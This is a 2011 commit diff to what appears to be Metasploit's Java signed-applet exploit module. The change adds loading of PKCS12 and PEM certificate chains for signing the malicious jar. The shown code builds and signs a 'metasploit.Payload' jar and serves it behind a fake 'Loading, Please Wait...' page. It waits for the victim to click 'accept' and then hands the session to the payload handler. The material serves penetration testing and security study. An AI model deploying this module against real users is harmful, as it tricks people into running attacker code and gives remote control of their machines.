add support for PKCS12 (.pfx) cert/key files and cert chains in PEM files

git-svn-id: file:///home/svn/framework3/trunk@12735 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2011-05-26 17:52:12 +00:00
parent 8acfef8770
commit c5781ae515
1 changed files with 70 additions and 70 deletions

View File

@ -13,6 +13,8 @@ require 'msf/core'
require 'rex' require 'rex'
require 'rex/zip' require 'rex/zip'
load './lib/rex/zip/jar.rb'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
@ -81,20 +83,34 @@ class Metasploit3 < Msf::Exploit::Remote
], ],
'DefaultTarget' => 1 'DefaultTarget' => 1
)) ))
register_options( register_options( [
[ OptString.new('CERTCN', [ true,
OptString.new('CERTCN', [ true, "The CN= value for the certificate. Cannot contain ',' or '/'", "SiteLoader" ]), "The CN= value for the certificate. Cannot contain ',' or '/'",
OptString.new('APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]), "SiteLoader"
OptPath.new('SigningCert', [ false, "Path to a signing certificate. Values from the cert will override CERTCN" ]), ]),
OptString.new('APPLETNAME', [ true,
# Not implemented yet. "The main applet's class name.",
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]), "SiteLoader"
# Needs Rex::Zip to be able to crack zip files ]),
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]), OptPath.new('SigningCert', [ false,
"Path to a signing certificate in PEM or PKCS12 (.pfx) format"
]),
OptPath.new('SigningKey', [ false,
"Path to a signing key in PEM format"
]),
OptString.new('SigningKeyPass', [ false,
"Password for signing key (required if SigningCert is a .pfx)"
]),
], self.class) ], self.class)
end end
def setup
load_cert
super
end
def on_request_uri( cli, request ) def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i) if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/) if not request.uri.match(/\/$/)
@ -123,21 +139,55 @@ class Metasploit3 < Msf::Exploit::Remote
data_dir = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet") data_dir = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet")
jar.add_file("SiteLoader.class", File.read(File.join(data_dir, "SiteLoader.class"))) jar.add_file("SiteLoader.class", File.read(File.join(data_dir, "SiteLoader.class")))
jar.build_manifest jar.build_manifest(:main_class => "metasploit.Payload")
jar.sign(@key, @cert, @ca_certs)
#File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
print_status(
"Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+
"Waiting for user to click 'accept'...")
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def load_cert
if datastore["SigningCert"] if datastore["SigningCert"]
cert_str = File.read(datastore["SigningCert"]) cert_str = File.read(datastore["SigningCert"])
@cert = OpenSSL::X509::Certificate.new(cert_str) begin
pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
@cert = pfx.certificate
@key = pfx.key
@ca_certs = pfx.ca_certs
rescue OpenSSL::PKCS12::PKCS12Error
# it wasn't pkcs12, try it as concatenated PEMs
certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
@cert = OpenSSL::X509::Certificate.new(certs.shift)
@ca_certs = nil
while certs.length > 0
@ca_certs ||= []
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
end
if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
key_str = File.read(datastore["SigningKey"])
else
key_str = cert_str
end
# First try it as RSA and fallback to DSA if that doesn't work # First try it as RSA and fallback to DSA if that doesn't work
begin begin
@key = OpenSSL::PKey::RSA.new(cert_str) @key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
rescue OpenSSL::PKey::RSAError => e rescue OpenSSL::PKey::RSAError => e
@key = OpenSSL::PKey::DSA.new(cert_str) @key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
end
end end
else else
# Name.parse uses a simple regex that isn't smart enough to allow slashes or # Name.parse uses a simple regex that isn't smart enough to allow
# commas in values, just remove them. # slashes or commas in values, just remove them.
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "") certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
x509_name = OpenSSL::X509::Name.parse( x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}" "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
@ -153,19 +203,9 @@ class Metasploit3 < Msf::Exploit::Remote
@cert.not_before = Time.now @cert.not_before = Time.now
@cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years @cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
end end
jar.sign(@key, @cert)
File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
print_status(
"Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+
"Waiting for user to click 'accept'...")
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end end
def generate_html def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n| html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n| html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
@ -179,46 +219,6 @@ class Metasploit3 < Msf::Exploit::Remote
return html return html
end end
def build_static_sig(jar)
files = [
"metasploit/Payload.class",
"SiteLoader.class",
"META-INF/MANIFEST.MF",
"META-INF/SIGNFILE.RSA",
"META-INF/SIGNFILE.SF",
]
# Ghetto. Replace existing files in the Jar, then add in
# anything that wasn't replaced. The reason for replacing the
# .class files is to ensure that we're sending the
# Payload.class as was signed rather than a newer one that was
# updated without updating the signature. We'll just have to
# cross our fingers and hope that any updates don't break
# backwards compatibility in the handler until we can get
# signing to work from ruby. Once we can sign jars directly
# from ruby using OpenSSL, this won't be a problem.
replaced = []
# Replace the ones that are already there.
jar.entries.map do |e|
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
if File.file? file
File.open(file, "rb") do |f|
e.data = f.read(f.stat.size)
end
end
replaced << e.name
end
# Add the rest
files.each { |e|
next if replaced.include? e
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
File.open(file, "rb") do |f|
jar.add_file(e, f.read(f.stat.size))
end
}
jar
end
# Currently unused until we ship a java compiler of some sort # Currently unused until we ship a java compiler of some sort
def applet_code def applet_code